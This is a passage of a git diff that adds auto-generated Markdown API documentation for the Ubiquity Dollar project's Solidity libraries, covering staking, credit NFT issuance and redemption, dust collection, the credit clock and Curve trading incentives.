withdrawn + + +```solidity +event Withdraw(uint256 amount); +``` + +### ParamsSet +Emitted when parameters are updated + + +```solidity +event ParamsSet(uint32 connectorWeight, uint256 baseY); +``` + +## Structs +### BondingCurveData +Struct used as a storage for the current library + + +```solidity +struct BondingCurveData { + uint32 connectorWeight; + uint256 baseY; + uint256 poolBalance; + uint256 tokenIds; + mapping(address => uint256) share; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibChef.sol/library.LibChef.md b/packages/contracts/docs/src/src/dollar/libraries/LibChef.sol/library.LibChef.md new file mode 100644 index 000000000..ecf3c32b2 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibChef.sol/library.LibChef.md @@ -0,0 +1,417 @@ +# LibChef +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibChef.sol) + +Library for staking Dollar-3CRV LP tokens for Governance tokens reward + + +## State Variables +### UBIQUITY_CHEF_STORAGE_POSITION +Storage slot used to store data for this library + + +```solidity +bytes32 constant UBIQUITY_CHEF_STORAGE_POSITION = + bytes32(uint256(keccak256("diamond.standard.ubiquity.chef.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### chefStorage + +Returns struct used as a storage for this library + + +```solidity +function chefStorage() internal pure returns (ChefStorage storage ds); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`ChefStorage`|Struct used as a storage| + + +### initialize + +Initializes staking + + +```solidity +function initialize( + address[] memory _tos, + uint256[] memory _amounts, + uint256[] memory _stakingShareIDs, + uint256 _governancePerBlock +) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_tos`|`address[]`|Array of addresses for initial deposits| +|`_amounts`|`uint256[]`|Array of LP amounts for initial deposits| +|`_stakingShareIDs`|`uint256[]`|Array of staking share IDs for initial deposits| +|`_governancePerBlock`|`uint256`|Amount of Governance tokens minted each block| + + +### setGovernancePerBlock + +Sets amount of Governance tokens minted each block + + +```solidity +function setGovernancePerBlock(uint256 _governancePerBlock) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_governancePerBlock`|`uint256`|Amount of Governance tokens minted each block| + + +### governancePerBlock + +Returns amount of Governance tokens minted each block + + +```solidity +function governancePerBlock() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Governance tokens minted each block| + + +### governanceDivider + +Returns governance divider param + +Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + + +```solidity +function governanceDivider() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Governance divider param value| + + +### pool + +Returns pool info + + +```solidity +function pool() internal view returns (PoolInfo memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`PoolInfo`|Pool info: - last block number when Governance tokens distribution occurred - Governance tokens per share, times 1e12| + + +### minPriceDiffToUpdateMultiplier + +Returns min price difference between the old and the new Dollar prices +required to update the governance multiplier + + +```solidity +function minPriceDiffToUpdateMultiplier() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Min Dollar price diff to update the governance multiplier| + + +### setGovernanceShareForTreasury + +Sets Governance token divider param. The bigger `_governanceDivider` the less extra +Governance tokens will be minted for the treasury. + +Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + + +```solidity +function setGovernanceShareForTreasury(uint256 _governanceDivider) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_governanceDivider`|`uint256`|Governance divider param value| + + +### setMinPriceDiffToUpdateMultiplier + +Sets min price difference between the old and the new Dollar prices + + +```solidity +function setMinPriceDiffToUpdateMultiplier(uint256 _minPriceDiffToUpdateMultiplier) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_minPriceDiffToUpdateMultiplier`|`uint256`|Min price diff to update governance multiplier| + + +### withdraw + +Withdraws Dollar-3CRV LP tokens from staking + + +```solidity +function withdraw(address to, uint256 _amount, uint256 _stakingShareID) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to transfer pending Governance token rewards| +|`_amount`|`uint256`|Amount of LP tokens to withdraw| +|`_stakingShareID`|`uint256`|Staking share id| + + +### getRewards + +Withdraws pending Governance token rewards + + +```solidity +function getRewards(uint256 stakingShareID) internal returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareID`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Reward amount transferred to `msg.sender`| + + +### getStakingShareInfo + +Returns staking share info + + +```solidity +function getStakingShareInfo(uint256 _id) internal view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|Array of amount of shares and reward debt| + + +### totalShares + +Total amount of Dollar-3CRV LP tokens deposited to the Staking contract + + +```solidity +function totalShares() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Total amount of deposited LP tokens| + + +### pendingGovernance + +Returns amount of pending reward Governance tokens + + +```solidity +function pendingGovernance(uint256 stakingShareID) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`stakingShareID`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of pending reward Governance tokens| + + +### deposit + +Deposits Dollar-3CRV LP tokens to staking for Governance tokens allocation + + +```solidity +function deposit(address to, uint256 _amount, uint256 _stakingShareID) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address where to transfer pending Governance token rewards| +|`_amount`|`uint256`|Amount of LP tokens to deposit| +|`_stakingShareID`|`uint256`|Staking share id| + + +### _updateGovernanceMultiplier + +Updates Governance token multiplier if Dollar price diff > `minPriceDiffToUpdateMultiplier` + + +```solidity +function _updateGovernanceMultiplier() internal; +``` + +### _updatePool + +Updates reward variables of the given pool to be up-to-date + + +```solidity +function _updatePool() internal; +``` + +### _safeGovernanceTransfer + +Safe Governance Token transfer function, just in case if rounding +error causes pool not to have enough Governance tokens + + +```solidity +function _safeGovernanceTransfer(address _to, uint256 _amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_to`|`address`|Address where to transfer Governance tokens| +|`_amount`|`uint256`|Amount of Governance tokens to transfer| + + +### _getMultiplier + +Returns Governance token bonus multiplier based on number of passed blocks + + +```solidity +function _getMultiplier() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Governance token bonus multiplier| + + +### _getGovernanceMultiplier + +Returns governance multiplier + + +```solidity +function _getGovernanceMultiplier() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Governance multiplier| + + +## Events +### Deposit +Emitted when Dollar-3CRV LP tokens are deposited to the contract + + +```solidity +event Deposit(address indexed user, uint256 amount, uint256 indexed stakingShareId); +``` + +### Withdraw +Emitted when Dollar-3CRV LP tokens are withdrawn from the contract + + +```solidity +event Withdraw(address indexed user, uint256 amount, uint256 indexed stakingShareId); +``` + +### GovernancePerBlockModified +Emitted when amount of Governance tokens minted per block is updated + + +```solidity +event GovernancePerBlockModified(uint256 indexed governancePerBlock); +``` + +### MinPriceDiffToUpdateMultiplierModified +Emitted when min Dollar price diff for governance multiplier change is updated + + +```solidity +event MinPriceDiffToUpdateMultiplierModified(uint256 indexed minPriceDiffToUpdateMultiplier); +``` + +## Structs +### StakingShareInfo +User's staking share info + + +```solidity +struct StakingShareInfo { + uint256 amount; + uint256 rewardDebt; +} +``` + +### PoolInfo +Pool info + + +```solidity +struct PoolInfo { + uint256 lastRewardBlock; + uint256 accGovernancePerShare; +} +``` + +### ChefStorage +Struct used as a storage for the current library + + +```solidity +struct ChefStorage { + uint256 governancePerBlock; + uint256 governanceMultiplier; + uint256 minPriceDiffToUpdateMultiplier; + uint256 lastPrice; + uint256 governanceDivider; + PoolInfo pool; + mapping(uint256 => StakingShareInfo) ssInfo; + uint256 totalShares; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibCollectableDust.sol/library.LibCollectableDust.md b/packages/contracts/docs/src/src/dollar/libraries/LibCollectableDust.sol/library.LibCollectableDust.md new file mode 100644 index 000000000..38498ba6e --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibCollectableDust.sol/library.LibCollectableDust.md @@ -0,0 +1,116 @@ +# LibCollectableDust +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibCollectableDust.sol) + +Library for collecting dust (i.e. not part of a protocol) tokens sent to a contract + + +## State Variables +### COLLECTABLE_DUST_CONTROL_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant COLLECTABLE_DUST_CONTROL_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.collectable.dust.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### collectableDustStorage + +Returns struct used as a storage for this library + + +```solidity +function collectableDustStorage() internal pure returns (Tokens storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`Tokens`|Struct used as a storage| + + +### addProtocolToken + +Adds token address to a protocol + + +```solidity +function addProtocolToken(address _token) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token`|`address`|Token address to add| + + +### removeProtocolToken + +Removes token address from a protocol + + +```solidity +function removeProtocolToken(address _token) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token`|`address`|Token address to remove| + + +### sendDust + +Sends dust tokens (which are not part of a protocol) to the `_to` address + + +```solidity +function sendDust(address _to, address _token, uint256 _amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_to`|`address`|Tokens receiver address| +|`_token`|`address`|Token address to send| +|`_amount`|`uint256`|Amount of tokens to send| + + +## Events +### DustSent +Emitted when dust tokens are sent to the `_to` address + + +```solidity +event DustSent(address _to, address token, uint256 amount); +``` + +### ProtocolTokenAdded +Emitted when token is added to a protocol + + +```solidity +event ProtocolTokenAdded(address _token); +``` + +### ProtocolTokenRemoved +Emitted when token is removed from a protocol + + +```solidity +event ProtocolTokenRemoved(address _token); +``` + +## Structs +### Tokens +Struct used as a storage for the current library + + +```solidity +struct Tokens { + EnumerableSet.AddressSet protocolTokens; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibCreditClock.sol/library.LibCreditClock.md b/packages/contracts/docs/src/src/dollar/libraries/LibCreditClock.sol/library.LibCreditClock.md new file mode 100644 index 000000000..98d8c2f1a --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibCreditClock.sol/library.LibCreditClock.md @@ -0,0 +1,123 @@ +# LibCreditClock +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibCreditClock.sol) + +Library for Credit Clock Facet + + +## State Variables +### CREDIT_CLOCK_STORAGE_POSITION +Storage slot used to store data for this library + + +```solidity +bytes32 constant CREDIT_CLOCK_STORAGE_POSITION = + bytes32(uint256(keccak256("ubiquity.contracts.credit.clock.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### creditClockStorage + +Returns struct used as a storage for this library + + +```solidity +function creditClockStorage() internal pure returns (CreditClockData storage data); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`data`|`CreditClockData`|Struct used as a storage| + + +### setManager + +Updates the manager address + + +```solidity +function setManager(address _manager) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|New manager address| + + +### getManager + +Returns the manager address + + +```solidity +function getManager() internal view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Manager address| + + +### setRatePerBlock + +Sets rate to apply from this block onward + + +```solidity +function setRatePerBlock(bytes16 _ratePerBlock) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_ratePerBlock`|`bytes16`|ABDKMathQuad new rate per block to apply from this block onward| + + +### getRate + +Calculates `rateStartValue * (1 / ((1 + ratePerBlock)^blockNumber - rateStartBlock)))` + + +```solidity +function getRate(uint256 blockNumber) internal view returns (bytes16 rate); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`blockNumber`|`uint256`|Block number to get the rate for. 0 for current block.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`rate`|`bytes16`|ABDKMathQuad rate calculated for the block number| + + +## Events +### SetRatePerBlock +Emitted when depreciation rate per block is updated + + +```solidity +event SetRatePerBlock(uint256 rateStartBlock, bytes16 rateStartValue, bytes16 ratePerBlock); +``` + +## Structs +### CreditClockData +Struct used as a storage for the current library + + +```solidity +struct CreditClockData { + IAccessControl accessControl; + uint256 rateStartBlock; + bytes16 rateStartValue; + bytes16 ratePerBlock; + bytes16 one; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibCreditNftManager.sol/library.LibCreditNftManager.md b/packages/contracts/docs/src/src/dollar/libraries/LibCreditNftManager.sol/library.LibCreditNftManager.md new file mode 100644 index 000000000..3977234e4 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibCreditNftManager.sol/library.LibCreditNftManager.md @@ -0,0 +1,357 @@ +# LibCreditNftManager +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibCreditNftManager.sol) + +Library for basic credit issuing and redemption mechanism for Credit NFT and Credit holders + +Allows users to burn their Dollars in exchange for Credit NFTs or Credits redeemable in the future + +Allows users to: +- redeem individual Credit NFT or batch redeem Credit NFT on a first-come first-serve basis +- redeem Credits for Dollars + + +## State Variables +### CREDIT_NFT_MANAGER_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant CREDIT_NFT_MANAGER_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.credit.nft.manager.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### creditNftStorage + +Returns struct used as a storage for this library + + +```solidity +function creditNftStorage() internal pure returns (CreditNftManagerData storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`CreditNftManagerData`|Struct used as a storage| + + +### expiredCreditNftConversionRate + +Returns Credit NFT to Governance conversion rate + + +```solidity +function expiredCreditNftConversionRate() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Conversion rate| + + +### setExpiredCreditNftConversionRate + +Credit NFT to Governance conversion rate + +When Credit NFTs are expired they can be converted to +Governance tokens using `rate` conversion rate + + +```solidity +function setExpiredCreditNftConversionRate(uint256 rate) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`rate`|`uint256`|Credit NFT to Governance tokens conversion rate| + + +### setCreditNftLength + +Sets Credit NFT block lifespan + + +```solidity +function setCreditNftLength(uint256 _creditNftLengthBlocks) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftLengthBlocks`|`uint256`|The number of blocks during which Credit NFTs can be redeemed for Dollars| + + +### creditNftLengthBlocks + +Returns Credit NFT block lifespan + + +```solidity +function creditNftLengthBlocks() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Number of blocks during which Credit NFTs can be redeemed for Dollars| + + +### exchangeDollarsForCreditNft + +Burns Dollars in exchange for Credit NFTs + +Should only be called when Dollar price < 1$ + + +```solidity +function exchangeDollarsForCreditNft(uint256 amount) internal returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to exchange for Credit NFTs| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Expiry block number when Credit NFTs can no longer be redeemed for Dollars| + + +### exchangeDollarsForCredit + +Burns Dollars in exchange for Credit tokens + +Should only be called when Dollar price < 1$ + + +```solidity +function exchangeDollarsForCredit(uint256 amount) internal returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits minted| + + +### getCreditNftReturnedForDollars + +Returns amount of Credit NFTs to be minted for the `amount` of Dollars to burn + + +```solidity +function getCreditNftReturnedForDollars(uint256 amount) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credit NFTs to be minted| + + +### getCreditReturnedForDollars + +Returns the amount of Credit tokens to be minter for the provided `amount` of Dollars to burn + + +```solidity +function getCreditReturnedForDollars(uint256 amount) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits to be minted| + + +### onERC1155Received + +Handles the receipt of a single ERC1155 token type. This function is +called at the end of a `safeTransferFrom` after the balance has been updated. +NOTE: To accept the transfer, this must return +`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` +(i.e. 0xf23a6e61, or its own function selector). + + +```solidity +function onERC1155Received(address operator, address, uint256, uint256, bytes calldata) + internal + view + returns (bytes4); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`operator`|`address`|The address which initiated the transfer (i.e. msg.sender)| +|``|`address`|| +|``|`uint256`|| +|``|`uint256`|| +|``|`bytes`|| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes4`|`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed| + + +### burnExpiredCreditNftForGovernance + +Burns expired Credit NFTs for Governance tokens at `expiredCreditNftConversionRate` rate + + +```solidity +function burnExpiredCreditNftForGovernance(uint256 id, uint256 amount) public returns (uint256 governanceAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT timestamp| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governanceAmount`|`uint256`|Amount of Governance tokens minted to Credit NFT holder| + + +### burnCreditNftForCredit + +TODO: Should we leave it ? + +Burns Credit NFTs for Credit tokens + + +```solidity +function burnCreditNftForCredit(uint256 id, uint256 amount) public returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT timestamp| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Credit tokens balance of `msg.sender`| + + +### burnCreditTokensForDollars + +Burns Credit tokens for Dollars when Dollar price > 1$ + + +```solidity +function burnCreditTokensForDollars(uint256 amount) public returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Credits to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of unredeemed Credits| + + +### redeemCreditNft + +Burns Credit NFTs for Dollars when Dollar price > 1$ + + +```solidity +function redeemCreditNft(uint256 id, uint256 amount) public returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT expiry block number| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of unredeemed Credit NFTs| + + +### mintClaimableDollars + +Mints Dollars when Dollar price > 1$ + +Distributes excess Dollars this way: +- 50% goes to the treasury address +- 10% goes for burning Dollar-Governance LP tokens in a DEX pool +- 40% goes to the Staking contract + + +```solidity +function mintClaimableDollars() public; +``` + +## Events +### ExpiredCreditNftConversionRateChanged +Emitted when Credit NFT to Governance conversion rate was updated + + +```solidity +event ExpiredCreditNftConversionRateChanged(uint256 newRate, uint256 previousRate); +``` + +### CreditNftLengthChanged +Emitted when Credit NFT block expiration length was updated + + +```solidity +event CreditNftLengthChanged(uint256 newCreditNftLengthBlocks, uint256 previousCreditNftLengthBlocks); +``` + +## Structs +### CreditNftManagerData +Struct used as a storage for the current library + + +```solidity +struct CreditNftManagerData { + uint256 dollarsMintedThisCycle; + uint256 blockHeightDebt; + uint256 creditNftLengthBlocks; + uint256 expiredCreditNftConversionRate; + bool debtCycle; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol/library.LibCreditNftRedemptionCalculator.md b/packages/contracts/docs/src/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol/library.LibCreditNftRedemptionCalculator.md new file mode 100644 index 000000000..7a724c69e --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol/library.LibCreditNftRedemptionCalculator.md @@ -0,0 +1,28 @@ +# LibCreditNftRedemptionCalculator +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol) + +Library for calculating amount of Credit NFTs to mint on Dollars burn + + +## Functions +### getCreditNftAmount + +Returns Credit NFT amount minted for `dollarsToBurn` amount of Dollars to burn + + +```solidity +function getCreditNftAmount(uint256 dollarsToBurn) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`dollarsToBurn`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credit NFTs to mint| + + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibCreditRedemptionCalculator.sol/library.LibCreditRedemptionCalculator.md b/packages/contracts/docs/src/src/dollar/libraries/LibCreditRedemptionCalculator.sol/library.LibCreditRedemptionCalculator.md new file mode 100644 index 000000000..d994ac11f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibCreditRedemptionCalculator.sol/library.LibCreditRedemptionCalculator.md @@ -0,0 +1,97 @@ +# LibCreditRedemptionCalculator +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibCreditRedemptionCalculator.sol) + +Library for calculating amount of Credits to mint on Dollars burn + + +## State Variables +### CREDIT_REDEMPTION_CALCULATOR_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant CREDIT_REDEMPTION_CALCULATOR_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.credit.redemption.calculator.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### creditRedemptionCalculatorStorage + +Returns struct used as a storage for this library + + +```solidity +function creditRedemptionCalculatorStorage() internal pure returns (CreditRedemptionCalculatorData storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`CreditRedemptionCalculatorData`|Struct used as a storage| + + +### setConstant + +Sets the `p` param in the Credit mint calculation formula: +`y = x * ((BlockDebtStart / BlockBurn) ^ p)` + + +```solidity +function setConstant(uint256 coef) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`coef`|`uint256`|New `p` param in wei| + + +### getConstant + +Returns the `p` param used in the Credit mint calculation formula + + +```solidity +function getConstant() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|`p` param| + + +### getCreditAmount + +Returns amount of Credits to mint for `dollarsToBurn` amount of Dollars to burn + + +```solidity +function getCreditAmount(uint256 dollarsToBurn, uint256 blockHeightDebt) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`dollarsToBurn`|`uint256`|Amount of Dollars to burn| +|`blockHeightDebt`|`uint256`|Block number when the latest debt cycle started (i.e. when Dollar price became < 1$)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits to mint| + + +## Structs +### CreditRedemptionCalculatorData +Struct used as a storage for the current library + + +```solidity +struct CreditRedemptionCalculatorData { + uint256 coef; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibCurveDollarIncentive.sol/library.LibCurveDollarIncentive.md b/packages/contracts/docs/src/src/dollar/libraries/LibCurveDollarIncentive.sol/library.LibCurveDollarIncentive.md new file mode 100644 index 000000000..36b00a435 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibCurveDollarIncentive.sol/library.LibCurveDollarIncentive.md @@ -0,0 +1,226 @@ +# LibCurveDollarIncentive +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibCurveDollarIncentive.sol) + +Library adds buy incentive and sell penalty for Curve's Dollar-3CRV MetaPool + + +## State Variables +### CURVE_DOLLAR_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant CURVE_DOLLAR_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.curve.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +### _one +One point in `bytes16` + + +```solidity +bytes16 constant _one = bytes16(abi.encodePacked(uint256(1 ether))); +``` + + +## Functions +### curveDollarStorage + +Returns struct used as a storage for this library + + +```solidity +function curveDollarStorage() internal pure returns (CurveDollarData storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`CurveDollarData`|Struct used as a storage| + + +### isSellPenaltyOn + +Checks whether sell penalty is enabled + + +```solidity +function isSellPenaltyOn() internal view returns (bool); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether sell penalty is enabled| + + +### isBuyIncentiveOn + +Checks whether buy incentive is enabled + + +```solidity +function isBuyIncentiveOn() internal view returns (bool); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether buy incentive is enabled| + + +### incentivize + +Adds buy and sell incentives + + +```solidity +function incentivize(address sender, address receiver, uint256 amountIn) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`sender`|`address`|Sender address| +|`receiver`|`address`|Receiver address| +|`amountIn`|`uint256`|Trade amount| + + +### setExemptAddress + +Sets an address to be exempted from Curve trading incentives + + +```solidity +function setExemptAddress(address account, bool isExempt) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to update| +|`isExempt`|`bool`|Flag for whether to flag as exempt or not| + + +### switchSellPenalty + +Switches the sell penalty + + +```solidity +function switchSellPenalty() internal; +``` + +### switchBuyIncentive + +Switches the buy incentive + + +```solidity +function switchBuyIncentive() internal; +``` + +### isExemptAddress + +Checks whether `account` is marked as exempt + +Whether `account` is exempt from buy incentive and sell penalty + + +```solidity +function isExemptAddress(address account) internal view returns (bool); +``` + +### _incentivizeSell + +Adds penalty for selling `amount` of Dollars for `target` address + + +```solidity +function _incentivizeSell(address target, uint256 amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Address to penalize| +|`amount`|`uint256`|Trade amount| + + +### _incentivizeBuy + +Adds incentive for buying `amountIn` of Dollars for `target` address + + +```solidity +function _incentivizeBuy(address target, uint256 amountIn) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Address to incentivize| +|`amountIn`|`uint256`|Trade amount| + + +### _getPercentDeviationFromUnderPeg + +Returns the percentage of deviation from the peg multiplied by amount when Dollar < 1$ + + +```solidity +function _getPercentDeviationFromUnderPeg(uint256 amount) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Trade amount| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Percentage of deviation| + + +### _getTWAPPrice + +Returns current Dollar price + +*Returns 3CRV LP / Dollar quote, i.e. how many 3CRV LP tokens user will get for 1 Dollar* + + +```solidity +function _getTWAPPrice() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Dollar price| + + +## Events +### ExemptAddressUpdate +Emitted when `_account` exempt is updated + + +```solidity +event ExemptAddressUpdate(address indexed _account, bool _isExempt); +``` + +## Structs +### CurveDollarData +Struct used as a storage for the current library + + +```solidity +struct CurveDollarData { + bool isSellPenaltyOn; + bool isBuyIncentiveOn; + mapping(address => bool) _exempt; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibDiamond.sol/error.InitializationFunctionReverted.md b/packages/contracts/docs/src/src/dollar/libraries/LibDiamond.sol/error.InitializationFunctionReverted.md new file mode 100644 index 000000000..09f861170 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibDiamond.sol/error.InitializationFunctionReverted.md @@ -0,0 +1,10 @@ +# InitializationFunctionReverted +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibDiamond.sol) + +Error thrown when `initializeDiamondCut()` fails + + +```solidity +error InitializationFunctionReverted(address _initializationContractAddress, bytes _calldata); +``` + diff --git 